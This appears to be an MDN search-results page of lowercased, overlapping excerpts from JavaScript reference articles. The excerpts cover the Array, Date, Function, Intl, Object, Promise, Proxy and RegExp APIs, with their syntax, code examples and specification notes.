new javascript array with its length property set to that number (note: this implies an array of arraylength empty slots, not slots with actual undefined values). if the argument is any other number, a rangeerror exception is thrown. examples array literal notation arrays can be created using the literal notation: let fruits = ['apple', 'banana']; console.log(fruits.length); // 2 console.log(fr...
...teral notation arrays can be created using the literal notation: let fruits = ['apple', 'banana']; console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter. an array with its length property set to that number and the array elements are empty slots. ...
... with a single parameter arrays can be created using a constructor with a single number parameter. an array with its length property set to that number and the array elements are empty slots. let fruits =
new array(2); console.log(fruits.length); // 2 console.log(fruits[0]); // undefined array constructor with multiple parameters if more than one argument is passed to the constructor, a
new array with the given elements is created. let fruits =
new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification. ...
Array.prototype.reduce() - JavaScript
ue returned by reduce() in this case would be 20. polyfill // production steps of ecma-262, edition 5, 15.4.4.21 // reference: http://es5.github.io/#x15.4.4.21 // https://tc39.github.io/ecma262/#sec-array.prototype.reduce if (!array.prototype.reduce) { object.defineproperty(array.prototype, 'reduce', { value: function(callback /*, initialvalue*/) { if (this === null) { throw
new typeerror( 'array.prototype.reduce ' + 'called on null or undefined' ); } if (typeof callback !== 'function') { throw
new typeerror( callback + ' is not a function'); } // 1. let o be ? toobject(this value). var o = object(this); // 2. let len be ? tolength(? get(o, "length")). var len = o.length >>> 0; // steps 3, 4, ...
...(o, "length")). var len = o.length >>> 0; // steps 3, 4, 5, 6, 7 var k = 0; var value; if (arguments.length >= 2) { value = arguments[1]; } else { while (k < len && !(k in o)) { k++; } // 3. if len is 0 and initialvalue is not present, // throw a typeerror exception. if (k >= len) { throw
new typeerror( 'reduce of empty array ' + 'with no initial value' ); } value = o[k++]; } // 8. repeat, while k < len while (k < len) { // a. let pk be ! tostring(k). // b. let kpresent be ? hasproperty(o, pk). // c. if kpresent is true, then // i. let kvalue be ? get(o, pk). // ii. let accumulator be ? call(...
... let myarray = ['a', 'b', 'a', 'b', 'c', 'e', 'e', 'c', 'd', 'd', 'd', 'd'] let myorderedarray = myarray.reduce(function (accumulator, currentvalue) { if (accumulator.indexof(currentvalue) === -1) { accumulator.push(currentvalue) } return accumulator }, []) console.log(myorderedarray) replace .filter().map() with ...
...equence /** * runs promises from array of functions that can return promises * in chained manner * * @param {array} arr - promise arr * @return {object} promise object */ function runpromiseinsequence(arr, input) { return arr.reduce( (promisechain, currentfunction) => promisechain.then(currentfunction), promise.resolve(input) ) } // promise function 1 function p1(a) { return
new promise((resolve, reject) => { resolve(a * 5) }) } // promise function 2 function p2(a) { return
new promise((resolve, reject) => { resolve(a * 2) }) } // function 3 - will be wrapped in a resolved promise by .then() function f3(a) { return a * 3 } // promise function 4 function p4(a) { return
new promise((resolve, reject) => { resolve(a * 4) }) } const promisearr = [p...
Array.prototype.concat() - JavaScript
the concat() method is used to merge two or more arrays. this method does not change the existing arrays, but instead returns a
new array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const
new_array = old_array.concat([value1[, value2[, ...[, valuen]]]]) parameters valuen optional arrays and/or values to concatenate into a
new array. if all valuen parameters are omitted, concat returns a shallow copy of the existing array on which it is called. ...
....com/mdn/interactive-examples and send us a pull request. syntax const
new_array = old_array.concat([value1[, value2[, ...[, valuen]]]]) parameters valuen optional arrays and/or values to concatenate into a
new array. if all valuen parameters are omitted, concat returns a shallow copy of the existing array on which it is called. see the description below for more details. return value a
new array instance. description the concat method creates a
new array consisting of the elements in the object on which it is called, followed in order by, for each argument, the elements of that argument (if the argument is an array) or the argument itself (if the argument is not an array). it does not recurse into nested array arguments. the concat method does not alter this or any of the arrays...
...of that argument (if the argument is an array) or the argument itself (if the argument is not an array). it does not recurse into nested array arguments. the concat method does not alter this or any of the arrays provided as arguments but instead returns a shallow copy that contains copies of the same elements combined from the original arrays. elements of the original arrays are copied into the
new array as follows: object references (and not the actual object): concat copies object references into the
new array. both the original and
new array refer to the same object. that is, if a referenced object is modified, the changes are visible to both the
new and original arrays. this includes elements of array arguments that are also arrays. data types such as strings, numbers and booleans (...
...s into the
new array. both the original and
new array refer to the same object. that is, if a referenced object is modified, the changes are visible to both the
new and original arrays. this includes elements of array arguments that are also arrays. data types such as strings, numbers and booleans (not string, number, and boolean objects): concat copies the values of strings and numbers into the
new array. note: concatenating array(s)/value(s) will leave the originals untouched. furthermore, any operation on the
new array (except operations on elements which are object references) will have no effect on the original arrays, and vice versa. examples concatenating two arrays the following code concatenates two arrays: const letters = ['a', 'b', 'c']; const numbers = [1, 2, 3]; letters...
Array.prototype.flatMap() - JavaScript
the flatmap() method first maps each element using a mapping function, then flattens the result into a
new array. it is identical to a map() followed by a flat() of depth 1, but flatmap() is often quite useful, as merging both into one method is slightly more efficient. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ray. it is identical to a map() followed by a flat() of depth 1, but flatmap() is often quite useful, as merging both into one method is slightly more efficient. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var
new_array = arr.flatmap(function callback(currentvalue[, index[, array]]) { // return element for
new_array }[, thisarg]) parameters callback function that produces an element of the
new array, taking three arguments: currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the a...
... description see array.prototype.map() for a detailed description of the callback function. the flatmap method is identical to a map followed by a call to flat of depth 1. ...
...ack function. the flatmap method is identical to a map followed by a call to flat of depth 1. alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient and should be avoided for large arrays: in each iteration, it creates a
new temporary array that must be garbage-collected, and it copies elements from the current accumulator array into a
new array instead of just adding the
new elements to the existing array. please do not add polyfills on this article. for reference, please check: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples map() and flatmap() ...
AsyncFunction - JavaScript
argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. ...
...o their creation contexts; they are always created in the global scope. when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the asyncfunction constructor was called. this is different from using eval with code for an async function expression. ...
...the scope in which the asyncfunction constructor was called. this is different from using eval with code for an async function expression. invoking the asyncfunction constructor as a function (without using the
new operator) has the same effect as invoking it as a constructor. ...
...structor as a function (without using the
new operator) has the same effect as invoking it as a constructor. examples creating an async function from an asyncfunction() constructor function resolveafter2seconds(x) { return
new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); } let asyncfunction = object.getprototypeof(async function(){}).constructor let a =
new asyncfunction('a', 'b', 'return await resolveafter2seconds(a) + await resolveafter2seconds(b);'); a(10, 20).then(v => { console.log(v); // prints 30 after 4 seconds }); specifications specification ecmascript (ecma-262)the definition of 'asyncfunction object' in that specification. ...
Date.prototype.getYear() - JavaScript
s 1900. for example, if the year is 1976, the value returned is 76. for years less than 1900 or greater than 1999, the value returned by getyear() is the four-digit year. for example, if the year is 1856, the value returned is 1856. if the year is 2026, the value returned is 2026. examples years between 1900 and 1999 the second statement assigns the value 95 to the variable year. ...
...ample, if the year is 1856, the value returned is 1856. if the year is 2026, the value returned is 2026. examples years between 1900 and 1999 the second statement assigns the value 95 to the variable year. var xmas =
new date('december 25, 1995 23:15:00'); var year = xmas.getyear(); // returns 95 years above 1999 the second statement assigns the value 100 to the variable year. var xmas =
new date('december 25, 2000 23:15:00'); var year = xmas.getyear(); // returns 100 years below 1900 the second statement assigns the value -100 to the variable year. ...
...alue 95 to the variable year. var xmas =
new date('december 25, 1995 23:15:00'); var year = xmas.getyear(); // returns 95 years above 1999 the second statement assigns the value 100 to the variable year. var xmas =
new date('december 25, 2000 23:15:00'); var year = xmas.getyear(); // returns 100 years below 1900 the second statement assigns the value -100 to the variable year. var xmas =
new date('december 25, 1800 23:15:00'); var year = xmas.getyear(); // returns -100 setting and getting a year between 1900 and 1999 the third statement assigns the value 95 to the variable year, representing the year 1995. ...
... 25, 2000 23:15:00'); var year = xmas.getyear(); // returns 100 years below 1900 the second statement assigns the value -100 to the variable year. var xmas =
new date('december 25, 1800 23:15:00'); var year = xmas.getyear(); // returns -100 setting and getting a year between 1900 and 1999 the third statement assigns the value 95 to the variable year, representing the year 1995. var xmas =
new date('december 25, 2015 23:15:00'); xmas.setyear(95); var year = xmas.getyear(); // returns 95 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getyear' in that specification. ...
Date.parse() - JavaScript
ate strings should be manually parsed (a library can help if many different formats are to be accommodated). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax direct call: date.parse(datestring) implicit call:
new date(datestring) parameters datestring a string representing a simplification of the iso 8601 calendar date extended format. (other formats may be used, but results are implementation-dependent.) return value a number representing the milliseconds elapsed since january 1, 1970, 00:00:00 utc and the date obtained by parsing the given string representation of a date. if the argument doesn...
...entation–specific parsing algorithm. unrecognizable strings or dates containing illegal element values in iso formatted strings shall cause date.parse() to return nan. ...
... browser and values provided, e.g.: // non-iso string with invalid date values
new date('23/25/2014'); will be treated as a local date of 25 november, 2015 in firefox 30 and an invalid date in safari 7. however, if the string is recognized as an iso format string and it contains invalid values, it will return nan in all browsers compliant with es5 and later: // iso string with invalid values
new date('2014-25-23').toisostring(); // throws "rangeerror: invalid date" in all es5-compliant browsers spidermonkey's implementation-specific heuristic can be found in jsdate.cpp. the string "10 06 2014" is an example of a non-conforming iso format and thus falls back to a custom routine. ...
... es5 and later: // iso string with invalid values
new date('2014-25-23').toisostring(); // throws "rangeerror: invalid date" in all es5-compliant browsers spidermonkey's implementation-specific heuristic can be found in jsdate.cpp. the string "10 06 2014" is an example of a non-conforming iso format and thus falls back to a custom routine. see also this rough outline on how the parsing works.
new date('10 06 2014'); will be treated as a local date of 6 october, 2014, and not 10 june, 2014. other examples:
new date('foo-bar 2014').tostring(); // returns: "invalid date" date.parse('foo-bar 2014'); // returns: nan differences in assumed time zone this section contains implementation-specific behavior that can be inconsistent across implementations. given a non-standard date string...
Date.prototype.toLocaleDateString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent. the source for this interactive example is stored in a github repository. ...
...e given date instance according to language-specific conventions. performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function provided by its format property. examples using tolocaledatestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. ...
...un in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet. to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaledatestringsupportslocales() { try {
new date().tolocaledatestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized date formats. in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var date = ne...
...dezember 2012" // an application may want to use utc and make that visible options.timezone = 'utc'; options.timezonename = 'short'; console.log(date.t...
Error.prototype.stack - JavaScript
the non-standard stack property of error objects offer a trace of which functions were called, in what order, from which line and file, and with what arguments. the stack string proceeds from the most recent calls to earlier ones, leading back to the original global scope call. description each step will be separated by a
newline, with the first part of the line being the function name (if not a call from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number. (note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these from the error thrown (but only the error, and not its trace)...
...fox sets it when creating an error object, while phantomjs sets it only when throwing the error, and archived msdn docs also seem to match the phantomjs implementation. examples using the stack property the following html markup demonstrates the use of stack property. ...
...///c:/example.html:16 a("first call, firstarg")@file:///c:/example.html:19 @file:///c:/example.html:21 stack of eval'ed code starting with firefox 30, the error stack of code in function() and eval() calls, now produces stacks with more detailed information about the line and column numbers inside these calls. function calls are indicated with "> function" and eval calls with "> eval". ...
...6 a("first call, firstarg")@file:///c:/example.html:19 @file:///c:/example.html:21 stack of eval'ed code starting with firefox 30, the error stack of code in function() and eval() calls, now produces stacks with more detailed information about the line and column numbers inside these calls. function calls are indicated with "> function" and eval calls with "> eval". ...
Function() constructor - JavaScript
argn names to be used by the function as formal argument names. ...
...lar (but far less significant) performance issues to eval. however, unlike eval, the function constructor creates functions which execute in the global scope only. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new function([arg1 [, arg2 [, ...argn]] ,] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a comma. for example: "x", "thevalue"—or "x,thevalue". functionbody a string containing the javascript statements comprising the fun...
...it within your code because such functions are parsed with the rest of the code. all arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed. omitting an argument will result in the value of that parameter being undefined. ...
...uctor as a function (without using the
new operator) has the same effect as invoking it as a constructor. examples specifying arguments with the function constructor the following code creates a function object that takes two arguments. // example can be run directly in your javascript console // create a function that takes two arguments, and returns the sum of those arguments const adder =
new function('a', 'b', 'return a + b'); // call the function adder(2, 6); // 8 the arguments "a" and "b" are formal argument names that are used in the function body, "return a + b". specifications specification ecmascript (ecma-262)the definition of 'function constructor' in that specification. ...
GeneratorFunction - JavaScript
argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. ...
...argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. ...
...ation contexts; they are always created in the global scope. when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the generatorfunction constructor was called. this is different from using eval with code for a generator function expression. ...
...as called. this is different from using eval with code for a generator function expression. invoking the generatorfunction constructor as a function (without using the
new operator) has the same effect as invoking it as a constructor. examples creating a generator function from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g =
new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascript (ecma-262)the definition of 'generatorfunction' in that specification. ...
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
g". year the string used for the year, for example "2012" or "96". yearname the string used for the yearname in relevant contexts, for example "geng-zi" polyfill a polyfill for this feature is available in the proposal repository. examples datetimeformat outputs localized, opaque strings that cannot be manipulated directly: var date = date.utc(2012, 11, 17, 3, 0, 42); var formatter =
new intl.datetimeformat('en-us', { weekday: 'long', year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric', fractionalseconddigits: 3, hour12: true, timezone: 'utc' }); formatter.format(date); // "monday, 12/17/2012, 3:00:42.000 am" however, in many user interfaces there is a desire to customize the formatting of this string. th...
...lendar. when this is the case, the result of formattoparts() will contain an entry for relatedyear when a year would normally be present, containing the 4-digit gregorian year, instead of an entry for year. ...
... let df =
new intl.datetimeformat("zh-u-ca-chinese", opts); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] if the year option is not set in the bag (to any value), the result will include only the relatedyear: let df =
new intl.datetimeformat("zh-u-ca-chinese"); df.formattoparts(date.utc(2012, 11, 17, 3, 0, 42)); // return value [ { type: 'relatedyear', value: '2012' }, { type: 'literal', value: '年' }, { type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] in cases where the year would be output, .format() may commonly present these side-by-side: let df =
new intl.datetimeformat("z...
...{ type: 'month', value: '十一月' }, { type: 'day', value: '4' } ] in cases where the year would be output, .format() may commonly present these side-by-side: let df =
new intl.datetimeformat("zh-u-ca-chinese", {year: "numeric"}); df.format(date.utc(2012, 11, 17, 3, 0, 42)); // return value 2012壬辰年 this also makes it possible to mix locale and calendar in both format: let df =
new intl.datetimeformat("en-u-ca-chinese", {year: "numeric"}); let date = date.utc(2012, 11, 17, 3, 0, 42); df.format(date); // return value 2012(ren-chen) and formattoparts: let opts = {month: 'numeric', day: 'numeric', year: "numeric"}; let df =
new intl.datetimeformat("en-u-ca-chinese", opts); let date = date.utc(2012, 11, 17, 3); df.formattoparts(date) // return value [ { type: 'month'...
Intl.Locale.prototype.numberingSystem - JavaScript
l sans-serif bold digits mathsans mathematical sans-serif digits mlym malayalam digits modi modi digits mong mongolian digits mroo mro digits mtei meetei mayek digits mymr myanmar digits mymrshan myanmar shan digits mymrtlng myanmar tai laing digits native native digits
newa
newa digits nkoo n'ko digits olck ol chiki digits orya oriya digits osma osmanya digits rohg hanifi rohingya digits roman roman upper case numerals — algorithmic romanlow roman lowercase numerals — algorithmic saur saurashtra digits shrd sharada digits sind khudawadi dig...
...anifi rohingya digits roman roman upper case numerals — algorithmic romanlow roman lowercase numerals — algorithmic saur saurashtra digits shrd sharada digits sind khudawadi digits sinh sinhala lith digits sora sora_sompeng digits sund sundanese digits takr takri digits talu
new tai lue digits taml tamil numerals — algorithmic tamldec modern tamil decimal digits telu telugu digits thai thai digits tirh tirhuta digits tibt tibetan digits traditio traditional numerals — may be algorithmic vaii vai digits wara warang citi digits wcho wancho digits ...
...btags add additional data about the locale, and are added to locale identifiers by first adding the -u key. to set the numberingsystem value via the string argument to the locale constructor, first add the -u extension key. next, add the -nu extension key to indicate that you are adding a value for numberingsystem. finally, add the numberingsystem value to the string. let numberingsystemviastr =
new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the numberingsystem property of the configuration object to your desired numberingsystem value and p...
...ngsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the numberingsystem property of the configuration object to your desired numberingsystem value and pass it into the constructor. let numberingsystemviaobj=
new intl.locale("en-latn-us", {numberingsystem: "latn"}); console.log(us12hour.numberingsystem); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.RelativeTimeFormat - JavaScript
the intl.relativetimeformat object enables language-sensitive relative time formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.relativetimeformat.relativetimeformat() creates a
new intl.relativetimeformat object. static methods intl.relativetimeformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.relativetimeformat.prototype.format() formats a value and a unit according to the locale and formatting options of the given intl.relativetimeforma...
...lativetimeformat.prototype.format() formats a value and a unit according to the locale and formatting options of the given intl.relativetimeformat object. intl.relativetimeformat.prototype.formattoparts() returns an array of objects representing the relative time format in parts that can be used for custom locale-aware formatting. ...
...rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1). ...
...ys", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1). rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1). rtf.format(1, "day"); // > "in 1 day" using formattoparts the following example shows how to create a relative time formatter returning formatted parts const rtf =
new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit. rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status co...
Object() constructor - JavaScript
the object constructor creates an object wrapper for the given value. if the value is null or undefined, it will create and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to
new object(). ...
... the object constructor creates an object wrapper for the given value. if the value is null or undefined, it will create and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to
new object(). ...
...ect constructor creates an object wrapper for the given value. if the value is null or undefined, it will create and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to
new object(). ...
...alue is null or undefined, it will create and return an empty object. otherwise, it will return an object of a type that corresponds to the given value. if the value is an object already, it will return the value. when called in a non-constructor context, object behaves identically to
new object(). syntax
new object()
new object(value) parameters value any value. examples creating a
new object let o =
new object() o.foo = 42 console.log(o) // object { foo: 42 } using object given undefined and null types the following examples store an empty object object in o: let o =
new object() let o =
new object(undefined) let o =
new object(null) specifications specification ecmascript (ecma-262)the definition of 'object constructor' in that specification. ...
Object.prototype.hasOwnProperty() - JavaScript
d. this method can be used to determine whether an object has the specified property as a direct property of that object; unlike the in operator, this method does not check for a property in the object's prototype chain. if an object is an array, hasownproperty method can check whether an index exists. note hasownproperty returns true even if the value of the property is null or undefined. ...
... hasownproperty returns true even if the value of the property is null or undefined. o =
new object(); o.propone = null; o.hasownproperty('propone'); // returns true o.proptwo = undefined; o.hasownproperty('proptwo'); // returns true examples using hasownproperty to test for a property's existence the following example determines whether the o object contains a property named prop: o =
new object(); o.hasownproperty('prop'); // returns false o.prop = 'exists'; o.hasownproperty('prop'); // returns true direct vs. ...
...t for a property's existence the following example determines whether the o object contains a property named prop: o =
new object(); o.hasownproperty('prop'); // returns false o.prop = 'exists'; o.hasownproperty('prop'); // returns true direct vs. inherited properties the following example differentiates between direct properties and properties inherited through the prototype chain: o =
new object(); o.prop = 'exists'; o.hasownproperty('prop'); // returns true o.hasownproperty('tostring'); // returns false o.hasownproperty('hasownproperty'); // returns false iterating over the properties of an object the following example shows how to iterate over the properties of an object without executing on inherited properties. note that the for...in loop is already on...
... specifications specification ecmascript (ecma-262)the definition of 'object.prototype.hasownproperty' in that specification. ...
Object.preventExtensions() - JavaScript
the object.preventextensions() method prevents
new properties from ever being added to an object (i.e. prevents future extensions to the object). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.preventextensions(obj) parameters obj the object which should be made non-extensible. return value the object being made non-extensible. description an object is extensible if
new properties can be added to it. object.preventextensions() marks an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. note that the prop...
... object.preventextensions() only prevents addition of own properties. properties can still be added to the object prototype. ...
...ect.preventextensions returns the object // being made non-extensible. var obj = {}; var obj2 = object.preventextensions(obj); obj === obj2; // true // objects are extensible by default. var empty = {}; object.isextensible(empty); // === true // ...but that can be changed. ...
...are extensible by default. var empty = {}; object.isextensible(empty); // === true // ...but that can be changed. object.preventextensions(empty); object.isextensible(empty); // === false // object.defineproperty throws when adding // a
new property to a non-extensible object. var nonextensible = { removable: true }; object.preventextensions(nonextensible); object.defineproperty(nonextensible, '
new', { value: 8675309 }); // throws a typeerror // in strict mode, attempting to add
new properties // to a non-extensible object throws a typeerror. function fail() { 'use strict'; // throws a typeerror nonextensible.
newproperty = 'fail'; } fail(); a non-extensible object's prototype is immutable: var fixed = object.preventextensions({}); // throws a 'typeerror'. fixed.__proto__ = { oh:...
Promise.prototype.catch() - JavaScript
h on promise{} with arguments: arguments{1} [0: function xxx()] // > > > > > > called .then on promise{} with arguments: arguments{2} [0: undefined, 1: function xxx()] description the catch method is used for error handling in promise composition. since it returns a promise, it can be chained in the same way as its sister method, then(). ...
... undefined, 1: function xxx()] description the catch method is used for error handling in promise composition. since it returns a promise, it can be chained in the same way as its sister method, then(). ...
...p1.then(function(value) { console.log(value); // "success!" return promise.reject('oh, no!'); }).catch(function(e) { console.error(e); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); }); gotchas when throwing errors // throwing an error will call the catch method most of the time var p1 =
new promise(function(resolve, reject) { throw
new error('uh-oh!'); }); p1.catch(function(e) { console.error(e); // "uh-oh!" }); // errors thrown inside asynchronous functions will act like uncaught errors var p2 =
new promise(function(resolve, reject) { settimeout(function() { throw
new error('uncaught exception!'); }, 1000); }); p2.catch(function(e) { console.error(e); // this is ne...
...ction(e) { console.error(e); // "uh-oh!" }); // errors thrown inside asynchronous functions will act like uncaught errors var p2 =
new promise(function(resolve, reject) { settimeout(function() { throw
new error('uncaught exception!'); }, 1000); }); p2.catch(function(e) { console.error(e); // this is never called }); // errors thrown after resolve is called will be silenced var p3 =
new promise(function(resolve, reject) { resolve(); throw
new error('silenced exception!'); }); p3.catch(function(e) { console.error(e); // this is never called }); if it is resolved //create a promise which would not call onreject var p1 = promise.resolve("calling next"); var p2 = p1.catch(function (reason) { //this is never called console.error("catch p1!"); console.error(reas...
handler.getPrototypeOf() - JavaScript
the handler.getprototypeof() method is a trap for the [[getprototypeof]] internal method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(obj, { getprototypeof(target) { ... } }); parameters the following parameter is passed to the getprototypeof() method. this is bound to the handler. target the target object. return value the getprototypeof() method must return an object or null. description interceptions this trap can intercept these operations: object.getprototypeof() reflect.getprototypeof() __proto__ object.prototype.isprototypeof() instanceof invariants...
...must return an object or null. if target is not extensible, object.getprototypeof(proxy) method must return the same value as object.getprototypeof(target). ...
... examples basic usage const obj = {}; const proto = {}; const handler = { getprototypeof(target) { console.log(target === obj); // true console.log(this === handler); // true return proto; } }; const p =
new proxy(obj, handler); console.log(object.getprototypeof(p) === proto); // true five ways to trigger the getprototypeof trap const obj = {}; const p =
new proxy(obj, { getprototypeof(target) { return array.prototype; } }); console.log( object.getprototypeof(p) === array.prototype, // true reflect.getprototypeof(p) === array.prototype, // true p.__proto__ === array.prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); tw...
... return array.prototype; } }); console.log( object.getprototypeof(p) === array.prototype, // true reflect.getprototypeof(p) === array.prototype, // true p.__proto__ === array.prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); two kinds of exceptions const obj = {}; const p =
new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p =
new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ec...
Proxy() constructor - JavaScript
this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom behavior of the proxy. an empty handler will create a proxy that behaves, in almost all respects, exactly like the target. ...
...this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom behavior of the proxy. an empty handler will create a proxy that behaves, in almost all respects, exactly like the target. ...
...ts of the proxy's behavior. for example, by defining get() you can provide a customised version of the target's property accessor. handler functions this section lists all the handler functions you can define. handler functions are sometimes called traps, because they trap calls to the underlying target object. handler.apply() a trap for a function call. handler.construct() a trap for the
new operator. handler.defineproperty() a trap for object.defineproperty. handler.deleteproperty() a trap for the delete operator. handler.get() a trap for getting property values. handler.getownpropertydescriptor() a trap for object.getownpropertydescriptor. handler.getprototypeof() a trap for object.getprototypeof. handler.has() a trap for the in operator. handler.isextensible() a trap...
...ed and proxied. we define a handler that returns a different value for proxied, and lets any other accesses through to the target. const target = { notproxied: "original value", proxied: "original value" }; const handler = { get: function(target, prop, receiver) { if (prop === "proxied") { return "replaced value"; } return reflect.get(...arguments); } }; const proxy =
new proxy(target, handler); console.log(proxy.notproxied); // "original value" console.log(proxy.proxied); // "replaced value" specifications specification ecmascript (ecma-262)the definition of 'proxy constructor' in that specification. ...
RegExp.prototype[@@replace]() - JavaScript
the [@@replace]() method replaces some or all matches of a this pattern in a string by a replacement, and returns the result of the replacement as a
new string. the replacement can be a string or a function to be called for each match. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax regexp[symbol.replace](str,
newsubstr|function) parameters str a string that is a target of the replacement.
newsubstr (replacement) the string that replaces the substring. a number of special replacement patterns are supported; see the specifying a string as a parameter section in string.prototype.replace() page. functi...
...st. syntax regexp[symbol.replace](str,
newsubstr|function) parameters str a string that is a target of the replacement.
newsubstr (replacement) the string that replaces the substring. a number of special replacement patterns are supported; see the specifying a string as a parameter section in string.prototype.replace() page. function (replacement) a function to be invoked to create the
new substring. the arguments supplied to this function are described in the specifying a function as a parameter section in string.prototype.replace() page. return value a
new string with some or all matches of a pattern replaced by a replacement. description this method is called internally in string.prototype.replace() if the pattern argument is a regexp object. for example, following two exa...
...ethod exists for customizing replace behavior in regexp subclass. if pattern argument is not a regexp object, string.prototype.replace() doesn't call this method, nor creates a regexp object. examples direct call this method can be used in almost the same way as string.prototype.replace(), except the different this and the different arguments order. var re = /-/g; var str = '2016-01-01'; var
newstr = re[symbol.replace](str, '.'); console.log(
newstr); // 2016.01.01 using @@replace in subclasses subclasses of regexp can override the [@@replace]() method to modify the default behavior. class myregexp extends regexp { constructor(pattern, flags, count) { super(pattern, flags); this.count = count; } [symbol.replace](str, replacement) { // perform @@replace |count| times...
...avior. class myregexp extends regexp { constructor(pattern, flags, count) { super(pattern, flags); this.count = count; } [symbol.replace](str, replacement) { // perform @@replace |count| times. var result = str; for (var i = 0; i < this.count; i++) { result = regexp.prototype[symbol.replace].call(this, result, replacement); } return result; } } var re =
new myregexp('\\d', '', 3); var str = '01234567'; var
